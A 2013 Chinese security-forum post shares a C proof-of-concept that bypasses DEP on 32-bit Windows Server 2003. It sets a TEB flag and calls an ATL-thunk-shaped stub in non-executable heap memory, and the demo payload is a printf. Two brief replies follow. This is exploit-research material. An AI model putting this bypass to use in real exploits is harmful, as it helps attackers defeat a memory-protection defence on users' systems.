首页
社区
课程
招聘
[原创]windows 2003 dep 鸡肋 bypass DEMO
发表于: 2013-5-22 09:12 5700

[原创]windows 2003 dep 鸡肋 bypass DEMO

2013-5-22 09:12
5700
原理参考
http://bbs.pediy.com/showthread.php?t=172034

#include <Windows.h>
#include <stdio.h>

void dep_bypass(void)
{
        printf("dep_bypass test ok!\n");
}

/*
 * windows dep bypass by boywhp@126.com
 * http://bbs.pediy.com/showthread.php?t=172034
 */
int main(int argc, char** argv)
{
        PBYTE iniBuf = malloc(0x200);
        DWORD handler = (DWORD)dep_bypass; 
        DWORD offset = handler - ((DWORD)iniBuf + 10);
        PVOID teb = NULL;

        /*
        DWORD oldProtect;
        if (!VirtualProtect(iniBuf, 0x200, PAGE_EXECUTE_READWRITE, &oldProtect))
                printf("VirtualProtect error:%d!", GetLastError());
        */

        __asm {
                mov eax, FS:0x18;
                mov teb, eax;
        }
        
        /*
         * windows 2003 X86 dep 
         * teb offset 0xfb8 ->SafeThunckCall
         */

        *((PBYTE)teb + 0xfb8) = TRUE; //set peb->safeThunckCall = TRUE
        
        memset(iniBuf, 0x90, 0x200);

        //ATL thunk2
        iniBuf[0] = 0xb9;
        *(PULONG)(iniBuf + 1) = 0xcccc; // mov ecx, imm32
        iniBuf[5] = 0xe9;               // jmp imm32
        *(PULONG)(iniBuf + 6) = offset;

        ((void(*)(void))iniBuf)();
        
        getch();

        return 0;
}


有图有真像

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

上传的附件:
  • 1.PNG (44.04kb,27次下载)
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 106
活跃值: (40)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
123456
2013-5-22 11:55
0
雪    币: 10026
活跃值: (158)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
mark一下。2008也能过吧?
2013-5-27 16:40
0
游客
登录 | 注册 方可回帖
返回
//